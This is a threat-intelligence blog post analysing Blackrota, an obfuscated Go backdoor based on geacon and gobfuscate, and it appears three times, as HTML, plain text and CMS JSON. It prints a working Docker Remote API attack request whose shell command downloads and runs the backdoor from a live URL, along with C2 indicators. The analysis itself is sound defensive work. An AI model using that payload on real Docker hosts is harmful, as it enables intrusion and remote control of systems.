Blackrota, a heavily obfuscated backdoor written in Go
<p>The most obfuscated Go-developed ELF-formatted malware we've found<br>to date.</p><h2 id="overview"><strong>Overview</strong></h2><p>Recently, a malicious backdoor program written in the Go language that<br>exploits an unauthorized access vulnerability in the Docker Remote API<br>was caught by the our <strong>Anglerfish</strong> honeypot. We named it <strong>Blackrota</strong>, given<br>that its C2 domain name is <code>blackrota.ga</code> .</p><p>The <strong>Blackrota</strong> backdoor is currently only available for Linux, in ELF file<br>format, and supports both x86/x86-64 CPU architectures. Blackrota is<br>configured and compiled based on <strong><a href="https://github.com/darkr4y/geacon">geacon</a></strong>, a CobaltStrike Beacon implemented in the Go language, which can be used as a CobalStrike Beacon that interacts with CobaltStrike to control compromised hosts:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/geacon-1.png" class="kg-image" alt loading="lazy"></figure><p>However, it only implements some of the key functions in the original CobaltStrike Beacon:</p><ul><li><strong>CMD_SHELL</strong>: Execute Shell command;</li><li><strong>CMD_UPLOAD</strong>: Upload files;</li><li><strong>CMDDOWNLOAD</strong>: Download the specified file;</li><li><strong>CMD_FILE_BROWSE</strong>: File browsing;</li><li><strong>CMD_CD</strong>: Change directory；</li><li><strong>CMD_SLEEP</strong>: Set the sleep delay time;</li><li><strong>CMD_PWD</strong>: Return current directory;</li><li><strong>CMD_EXIT</strong>: Exit.</li></ul><p>Unlike the original <strong>geacon</strong>, <strong>Blackrota</strong> uses <strong><a href="https://github.com/unixpickle/gobfuscate">gobfuscate</a></strong> to obfuscate the<br>source code before compiling. <strong>gobfuscate</strong> is an open-source tool for Go code<br>obfuscation, which can obfuscate the following elements of Go source code<br>with random character substitutions:</p><ul><li><strong>Package Names</strong>;</li><li><strong>Global Variable Names</strong>;</li><li><strong>Function Names</strong>;</li><li><strong>Type Names</strong>;</li><li><strong>Method Names</strong>.</li></ul><p>In addition, gobfuscate replaces all strings used in the code with XOR<br>encodings, assigning each string an XOR Decoding function that dynamically decodes strings during program execution.</p><p>The Go language uses fully static links to build binary files. As a result, all<br>the codes used in standard and third-party libraries are packed into binary files, resulting in very large binary files. This characteristic, from a reverse analysis point of view, means that when you open a Go binary file in a disassembly tool, you will see thousands or even tens of thousands of functions. If these functions don't have corresponding symbolics, it will be difficult to reverse-analyze Go binary files.</p><p>The good news is that the Go language has another mechanism: when building a binary, both the <strong>RTSI</strong>(Runtime Symbol Information) and the <strong>RTTI</strong>(Runtime Type Information) are packed into the binary and cannot be stripped. Currently, almost all the dedicated tools to help reverse engineering Go binaries try to recover those information from Go binaries to assist analyse process. Go projects often import many third-party open-source packages. Genrally, the recovered <strong>RTSI</strong> and <strong>RTTI</strong> will lead us to the corresponding open-source package, we can then read the source code of third-party packages, which will further increase the efficiency of reverse analysis.</p><p><strong>Blackrota</strong> uses <strong>gobfuscate</strong> to obfuscate symbolic and type information, which is the "life-door" of such reverse-analysis tools. The symbolic information they parse and recover becomes unreadable, and it is not possible to make sense of the symbolic and type information, and it is not possible to know which third-party packages were imported to the project. This makes the reverse analysis process a lot more difficult.</p><p>Historically, we have seen malware written in Go that was at best stripped at compiling time, and at worst slightly obfuscated, without much difficulty in reverse analysis. Blackrota brings a new approach to obfuscation, and is the most obfuscated Go-written malware in ELF format that we have found to date.</p><h2 id="analysis"><strong>Analysis</strong></h2><h3 id="the-spread-of-blackrota"><strong>The spread of Blackrota</strong></h3><p>The author of <strong>Blackrato</strong> recruits multiple payloads for unauthorized use<br>of the Docker Remote API. A typical payload is simplified as follows:</p><pre><code>POST /v1.37/containers/create HTTP/1.1
Host: {target_host}:{target_port}
User-Agent: Docker-Client/19.03.7 (linux)
Content-Length: 1687
Content-Type: application/json

{"Env":[],"Cmd":["/bin/sh","-c","rm ./32 ; wget https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32;chmod 777 32; nohup ./32 \u003c/dev/null \u003e/dev/null 2\u003e\u00261 \u0026"],"Image":"alpine","Volumes":{},"WorkingDir":"","HostConfig":{"Binds":["/:/mnt"]}
</code></pre><p>With a successful payload, the 32bit or 64bit Blackrota backdoor program will be downloaded from the following 2 URLs:</p><pre><code>https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32
https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/64
</code></pre><h3 id="blackrota-backdoor-program"><strong>Blackrota backdoor program</strong></h3><p>As described above,<strong>Blackrota</strong> backdoor program was written in Go language, with the help of our <strong><a href="https://github.com/0xjiayu/go_parser">go_parser</a></strong> in IDAPro, we can tell it was compiled from <strong>Go1.15.3</strong>, with <strong>GOROOT</strong> path <code>"/usr/local/Cellar/ go/1.15.3/libexec"</code>.In addition to these two valid pieces of information, the parsed source file paths, function names, global variable names, data type names, and method names bound to datat ypes are all obfuscated with random character substitutions and are unreadable.</p><p>We can see the source file path list involved in the project (the directory of<br>the source file is named with a random string):</p><pre><code>/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/main.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/http.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/packet.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/commands.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/sysinfo_linux.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/meta.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/setting.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/req.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/resp.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/dump.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/pmdjfejhfmifhmelifpm/util.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rsa.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rand.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/aes.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/eepmoknkdieemfhjjjgl/config.go
</code></pre><h3 id="blackrota-s-function-symblos"><strong>Blackrota's function symblos</strong></h3><p>From the above parsing results, the biggest obstacle to reverse analysis is that the function names, type names, and method names are obfuscated into meaningless random characters in the source code of the third-party packages imported from the <strong>Blackrota</strong> sample. Partial list of functions after parsing:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/obfuscated_funcs-1.png" class="kg-image" alt loading="lazy"></figure><p>Obfuscated data type definition:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/obfuscated_type-1.png" class="kg-image" alt loading="lazy"></figure><p>In addition, there are still some method names bound to data types that are<br>not completely obfuscated:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/half_obfuscated_meth_name-1.png" class="kg-image" alt loading="lazy"></figure><p>With thousands of random string-named functions and a large number of randomly-named data types, methods, and global variables, we could not be sure what third-party Go packages were used inside the sample, making the reverse analysis almost impossible to move forward. Eventually, after some careful analysis, we discovered that the Blackrota sample was compiled from <strong>geacon</strong>.</p><p>In this way, we can try to recover the function symbols in the <strong>Blackrota</strong> sample using the following steps.</p><ol><li>Compile a geacon binary with the same CPU architecture as the Blackrota sample, without stripped;</li><li>Use <strong><a href="https://github.com/fireeye/flare-ida/blob/master/python/flare/idb2pat.py">idb2pat.py</a></strong> in IDAPro to extract the pattern(<strong>geacon.pat</strong>) of the <strong>geacon</strong>'s functions;</li><li>Use the <strong>sigmake</strong> in Flair Tools set to create a Flirt Signature file for geacon(<strong>geacon.sig</strong>).</li><li>Import <strong>geacon.sig</strong> to <strong>Blackrota</strong>'s sample in IDAPro, identify and recover the function symbols.</li></ol><p>Progress made! But don't get too excited yet, because we found out that <strong>Blackrota</strong>'s function symbols are not completely recognized, and there are about a hundred functions that are not covered by geacon's symbols, some of which are recognized as follows:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/part_of_recovered_funcname-1.png" class="kg-image" alt loading="lazy"></figure><h3 id="strings-in-blackrota"><strong>Strings in Blackrota</strong></h3><p>In the analysis above, we saw that only a very few of the strings used in the Go standard packages are parsed in <strong>Blackrota</strong>, while the strings inside <strong>geacon</strong> are not parsed. The problem lies in the functions above that are not covered by the geacon symbol.</p><p>From our analysis, we see that <strong>Blackrota</strong> XOR-encodes all the strings it uses internally, and dynamically decodes the strings at runtime to refer back to them. For each string, there is an XOR decoder function. <strong>gobfuscate</strong> generates a random XOR key of the same length as the string, solves a string of characters and returns it, and the solved string is referenced in the parent function. One of the key parts of the XOR decoding function is shown in the following figure:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/xor_func-1.png" class="kg-image" alt loading="lazy"></figure><p>If we want to decode all the strings, we need to find each string encoding function, find the Encoded Bytes and XOR Key, and solve the strings using the XOR algorithm. This will increase a lot of work to the reverse analysis effort, and also help the program to avoid the automated detection of security products to some extent.</p><h2 id="conclusion"><strong>Conclusion</strong></h2><p>Obfuscated malware written in Go is rare, except for a few simple attempts by white hats, but only two have been seen before: one is the ransomeware exposed by <a href="https://twitter.com/joakimkennedy">@joakimkennedy</a> that only obfuscates function symbols in <code>package main</code>:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/obfu_ransom-1.png" class="kg-image" alt loading="lazy"></figure><p>That program simply obfuscates the names of a few functions in the main package and hardly causes any issue to the reverse analysis:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/obfu_ransom_funcnames-1.png" class="kg-image" alt loading="lazy"></figure><p>The other one is another ransomeware <strong><a href="https://www.dragos.com/blog/industry-news/ekans-ransomware-and-ics-operations/">EKANS</a></strong>, which uses the same obfuscation method as Blackrota:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/ekans_srcfile-1.png" class="kg-image" alt loading="lazy"></figure><p>The obfuscation method of Blackrota and EKANS creates new challenges for reverse analysis. As the Go language becomes more popular, more and more malware will be written in Go in the future, we will keep an eye on what is going to happen.</p><h2 id="iocs-"><strong>IoCs:</strong></h2><h3 id="md5"><strong>MD5</strong></h3><pre><code>e56e4a586601a1130814060cb4bf449b
6e020db51665614f4a2fd84fb0f83778
9ca7acc98c17c6b67efdedb51560e1fa
</code></pre><h3 id="cc"><strong>C&amp;C</strong></h3><pre><code>blackrato.ga    165.227.199.214    ASN: 14061|DigitalOcean,_LLC</code></pre>
The most obfuscated Go-developed ELF-formatted malware we've found
to date.


Overview

Recently, a malicious backdoor program written in the Go language that
exploits an unauthorized access vulnerability in the Docker Remote API
was caught by the our Anglerfish honeypot. We named it Blackrota, given
that its C2 domain name is blackrota.ga .

The Blackrota backdoor is currently only available for Linux, in ELF file
format, and supports both x86/x86-64 CPU architectures. Blackrota is
configured and compiled based on geacon, a CobaltStrike Beacon implemented in the Go language, which can be used as a CobalStrike Beacon that interacts with CobaltStrike to control compromised hosts:

However, it only implements some of the key functions in the original CobaltStrike Beacon:

 * CMD_SHELL: Execute Shell command;
 * CMD_UPLOAD: Upload files;
 * CMDDOWNLOAD: Download the specified file;
 * CMD_FILE_BROWSE: File browsing;
 * CMD_CD: Change directory；
 * CMD_SLEEP: Set the sleep delay time;
 * CMD_PWD: Return current directory;
 * CMD_EXIT: Exit.

Unlike the original geacon, Blackrota uses gobfuscate to obfuscate the
source code before compiling. gobfuscate is an open-source tool for Go code
obfuscation, which can obfuscate the following elements of Go source code
with random character substitutions:

 * Package Names;
 * Global Variable Names;
 * Function Names;
 * Type Names;
 * Method Names.

In addition, gobfuscate replaces all strings used in the code with XOR
encodings, assigning each string an XOR Decoding function that dynamically decodes strings during program execution.

The Go language uses fully static links to build binary files. As a result, all
the codes used in standard and third-party libraries are packed into binary files, resulting in very large binary files. This characteristic, from a reverse analysis point of view, means that when you open a Go binary file in a disassembly tool, you will see thousands or even tens of thousands of functions. If these functions don't have corresponding symbolics, it will be difficult to reverse-analyze Go binary files.

The good news is that the Go language has another mechanism: when building a binary, both the RTSI(Runtime Symbol Information) and the RTTI(Runtime Type Information) are packed into the binary and cannot be stripped. Currently, almost all the dedicated tools to help reverse engineering Go binaries try to recover those information from Go binaries to assist analyse process. Go projects often import many third-party open-source packages. Genrally, the recovered RTSI and RTTI will lead us to the corresponding open-source package, we can then read the source code of third-party packages, which will further increase the efficiency of reverse analysis.

Blackrota uses gobfuscate to obfuscate symbolic and type information, which is the "life-door" of such reverse-analysis tools. The symbolic information they parse and recover becomes unreadable, and it is not possible to make sense of the symbolic and type information, and it is not possible to know which third-party packages were imported to the project. This makes the reverse analysis process a lot more difficult.

Historically, we have seen malware written in Go that was at best stripped at compiling time, and at worst slightly obfuscated, without much difficulty in reverse analysis. Blackrota brings a new approach to obfuscation, and is the most obfuscated Go-written malware in ELF format that we have found to date.


Analysis


The spread of Blackrota

The author of Blackrato recruits multiple payloads for unauthorized use
of the Docker Remote API. A typical payload is simplified as follows:

POST /v1.37/containers/create HTTP/1.1
Host: {target_host}:{target_port}
User-Agent: Docker-Client/19.03.7 (linux)
Content-Length: 1687
Content-Type: application/json

{"Env":[],"Cmd":["/bin/sh","-c","rm ./32 ; wget https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32;chmod 777 32; nohup ./32 \u003c/dev/null \u003e/dev/null 2\u003e\u00261 \u0026"],"Image":"alpine","Volumes":{},"WorkingDir":"","HostConfig":{"Binds":["/:/mnt"]}


With a successful payload, the 32bit or 64bit Blackrota backdoor program will be downloaded from the following 2 URLs:

https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32
https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/64



Blackrota backdoor program

As described above,Blackrota backdoor program was written in Go language, with the help of our go_parser in IDAPro, we can tell it was compiled from Go1.15.3, with GOROOT path "/usr/local/Cellar/ go/1.15.3/libexec".In addition to these two valid pieces of information, the parsed source file paths, function names, global variable names, data type names, and method names bound to datat ypes are all obfuscated with random character substitutions and are unreadable.

We can see the source file path list involved in the project (the directory of
the source file is named with a random string):

/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/main.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/http.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/packet.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/commands.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/sysinfo_linux.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/meta.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/setting.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/req.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/resp.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/dump.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/pmdjfejhfmifhmelifpm/util.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rsa.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rand.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/aes.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/eepmoknkdieemfhjjjgl/config.go



Blackrota's function symblos

From the above parsing results, the biggest obstacle to reverse analysis is that the function names, type names, and method names are obfuscated into meaningless random characters in the source code of the third-party packages imported from the Blackrota sample. Partial list of functions after parsing:

Obfuscated data type definition:

In addition, there are still some method names bound to data types that are
not completely obfuscated:

With thousands of random string-named functions and a large number of randomly-named data types, methods, and global variables, we could not be sure what third-party Go packages were used inside the sample, making the reverse analysis almost impossible to move forward. Eventually, after some careful analysis, we discovered that the Blackrota sample was compiled from geacon.

In this way, we can try to recover the function symbols in the Blackrota sample using the following steps.

 1. Compile a geacon binary with the same CPU architecture as the Blackrota sample, without stripped;
 2. Use idb2pat.py in IDAPro to extract the pattern(geacon.pat) of the geacon's functions;
 3. Use the sigmake in Flair Tools set to create a Flirt Signature file for geacon(geacon.sig).
 4. Import geacon.sig to Blackrota's sample in IDAPro, identify and recover the function symbols.

Progress made! But don't get too excited yet, because we found out that Blackrota's function symbols are not completely recognized, and there are about a hundred functions that are not covered by geacon's symbols, some of which are recognized as follows:


Strings in Blackrota

In the analysis above, we saw that only a very few of the strings used in the Go standard packages are parsed in Blackrota, while the strings inside geacon are not parsed. The problem lies in the functions above that are not covered by the geacon symbol.

From our analysis, we see that Blackrota XOR-encodes all the strings it uses internally, and dynamically decodes the strings at runtime to refer back to them. For each string, there is an XOR decoder function. gobfuscate generates a random XOR key of the same length as the string, solves a string of characters and returns it, and the solved string is referenced in the parent function. One of the key parts of the XOR decoding function is shown in the following figure:

If we want to decode all the strings, we need to find each string encoding function, find the Encoded Bytes and XOR Key, and solve the strings using the XOR algorithm. This will increase a lot of work to the reverse analysis effort, and also help the program to avoid the automated detection of security products to some extent.


Conclusion

Obfuscated malware written in Go is rare, except for a few simple attempts by white hats, but only two have been seen before: one is the ransomeware exposed by @joakimkennedy that only obfuscates function symbols in package main:

That program simply obfuscates the names of a few functions in the main package and hardly causes any issue to the reverse analysis:

The other one is another ransomeware EKANS, which uses the same obfuscation method as Blackrota:

The obfuscation method of Blackrota and EKANS creates new challenges for reverse analysis. As the Go language becomes more popular, more and more malware will be written in Go in the future, we will keep an eye on what is going to happen.


IoCs:


MD5

e56e4a586601a1130814060cb4bf449b
6e020db51665614f4a2fd84fb0f83778
9ca7acc98c17c6b67efdedb51560e1fa



C&C

blackrato.ga    165.227.199.214    ASN: 14061|DigitalOcean,_LLC
{"version":"0.3.1","atoms":[["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}]],"cards":[["image",{"src":"__GHOST_URL__/content/images/2020/11/geacon-1.png","alt":"","title":""}],["code",{"code":"POST /v1.37/containers/create HTTP/1.1\nHost: {target_host}:{target_port}\nUser-Agent: Docker-Client/19.03.7 (linux)\nContent-Length: 1687\nContent-Type: application/json\n\n{\"Env\":[],\"Cmd\":[\"/bin/sh\",\"-c\",\"rm ./32 ; wget https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32;chmod 777 32; nohup ./32 \\u003c/dev/null \\u003e/dev/null 2\\u003e\\u00261 \\u0026\"],\"Image\":\"alpine\",\"Volumes\":{},\"WorkingDir\":\"\",\"HostConfig\":{\"Binds\":[\"/:/mnt\"]}\n"}],["code",{"code":"https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32\nhttps://semantixpublic.s3.amazonaws.com/itau-poc-elastic/64\n"}],["code",{"code":"/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/main.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/http.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/packet.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/commands.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/sysinfo_linux.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/meta.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/setting.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/req.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/resp.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/dump.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/pmdjfejhfmifhmelifpm/util.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rsa.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rand.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/aes.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/eepmoknkdieemfhjjjgl/config.go\n"}],["image",{"src":"__GHOST_URL__/content/images/2020/11/obfuscated_funcs-1.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/11/obfuscated_type-1.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/11/half_obfuscated_meth_name-1.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/11/part_of_recovered_funcname-1.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/11/xor_func-1.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/11/obfu_ransom-1.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/11/obfu_ransom_funcnames-1.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/11/ekans_srcfile-1.png","alt":"","title":""}],["code",{"code":"e56e4a586601a1130814060cb4bf449b\n6e020db51665614f4a2fd84fb0f83778\n9ca7acc98c17c6b67efdedb51560e1fa\n"}],["code",{"code":"blackrato.ga    165.227.199.214    ASN: 14061|DigitalOcean,_LLC"}]],"markups":[["strong"],["code"],["a",["href","https://github.com/darkr4y/geacon"]],["a",["href","https://github.com/unixpickle/gobfuscate"]],["a",["href","https://github.com/0xjiayu/go_parser"]],["a",["href","https://github.com/fireeye/flare-ida/blob/master/python/flare/idb2pat.py"]],["a",["href","https://twitter.com/joakimkennedy"]],["a",["href","https://www.dragos.com/blog/industry-news/ekans-ransomware-and-ics-operations/"]]],"sections":[[1,"p",[[0,[],0,"The most obfuscated Go-developed ELF-formatted malware we've found"],[1,[],0,0],[0,[],0,"to date."]]],[1,"h2",[[0,[0],1,"Overview"]]],[1,"p",[[0,[],0,"Recently, a malicious backdoor program written in the Go language that"],[1,[],0,1],[0,[],0,"exploits an unauthorized access vulnerability in the Docker Remote API"],[1,[],0,2],[0,[],0,"was caught by the our "],[0,[0],1,"Anglerfish"],[0,[],0," honeypot. We named it "],[0,[0],1,"Blackrota"],[0,[],0,", given"],[1,[],0,3],[0,[],0,"that its C2 domain name is "],[0,[1],1,"blackrota.ga"],[0,[],0," ."]]],[1,"p",[[0,[],0,"The "],[0,[0],1,"Blackrota"],[0,[],0," backdoor is currently only available for Linux, in ELF file"],[1,[],0,4],[0,[],0,"format, and supports both x86/x86-64 CPU architectures. Blackrota is"],[1,[],0,5],[0,[],0,"configured and compiled based on "],[0,[0,2],2,"geacon"],[0,[],0,", a CobaltStrike Beacon implemented in the Go language, which can be used as a CobalStrike Beacon that interacts with CobaltStrike to control compromised hosts:"]]],[10,0],[1,"p",[[0,[],0,"However, it only implements some of the key functions in the original CobaltStrike Beacon:"]]],[3,"ul",[[[0,[0],1,"CMD_SHELL"],[0,[],0,": Execute Shell command;"]],[[0,[0],1,"CMD_UPLOAD"],[0,[],0,": Upload files;"]],[[0,[0],1,"CMDDOWNLOAD"],[0,[],0,": Download the specified file;"]],[[0,[0],1,"CMD_FILE_BROWSE"],[0,[],0,": File browsing;"]],[[0,[0],1,"CMD_CD"],[0,[],0,": Change directory；"]],[[0,[0],1,"CMD_SLEEP"],[0,[],0,": Set the sleep delay time;"]],[[0,[0],1,"CMD_PWD"],[0,[],0,": Return current directory;"]],[[0,[0],1,"CMD_EXIT"],[0,[],0,": Exit."]]]],[1,"p",[[0,[],0,"Unlike the original "],[0,[0],1,"geacon"],[0,[],0,", "],[0,[0],1,"Blackrota"],[0,[],0," uses "],[0,[0,3],2,"gobfuscate"],[0,[],0," to obfuscate the"],[1,[],0,6],[0,[],0,"source code before compiling. "],[0,[0],1,"gobfuscate"],[0,[],0," is an open-source tool for Go code"],[1,[],0,7],[0,[],0,"obfuscation, which can obfuscate the following elements of Go source code"],[1,[],0,8],[0,[],0,"with random character substitutions:"]]],[3,"ul",[[[0,[0],1,"Package Names"],[0,[],0,";"]],[[0,[0],1,"Global Variable Names"],[0,[],0,";"]],[[0,[0],1,"Function Names"],[0,[],0,";"]],[[0,[0],1,"Type Names"],[0,[],0,";"]],[[0,[0],1,"Method Names"],[0,[],0,"."]]]],[1,"p",[[0,[],0,"In addition, gobfuscate replaces all strings used in the code with XOR"],[1,[],0,9],[0,[],0,"encodings, assigning each string an XOR Decoding function that dynamically decodes strings during program execution."]]],[1,"p",[[0,[],0,"The Go language uses fully static links to build binary files. As a result, all"],[1,[],0,10],[0,[],0,"the codes used in standard and third-party libraries are packed into binary files, resulting in very large binary files. This characteristic, from a reverse analysis point of view, means that when you open a Go binary file in a disassembly tool, you will see thousands or even tens of thousands of functions. If these functions don't have corresponding symbolics, it will be difficult to reverse-analyze Go binary files."]]],[1,"p",[[0,[],0,"The good news is that the Go language has another mechanism: when building a binary, both the "],[0,[0],1,"RTSI"],[0,[],0,"(Runtime Symbol Information) and the "],[0,[0],1,"RTTI"],[0,[],0,"(Runtime Type Information) are packed into the binary and cannot be stripped. Currently, almost all the dedicated tools to help reverse engineering Go binaries try to recover those information from Go binaries to assist analyse process. Go projects often import many third-party open-source packages. Genrally, the recovered "],[0,[0],1,"RTSI"],[0,[],0," and "],[0,[0],1,"RTTI"],[0,[],0," will lead us to the corresponding open-source package, we can then read the source code of third-party packages, which will further increase the efficiency of reverse 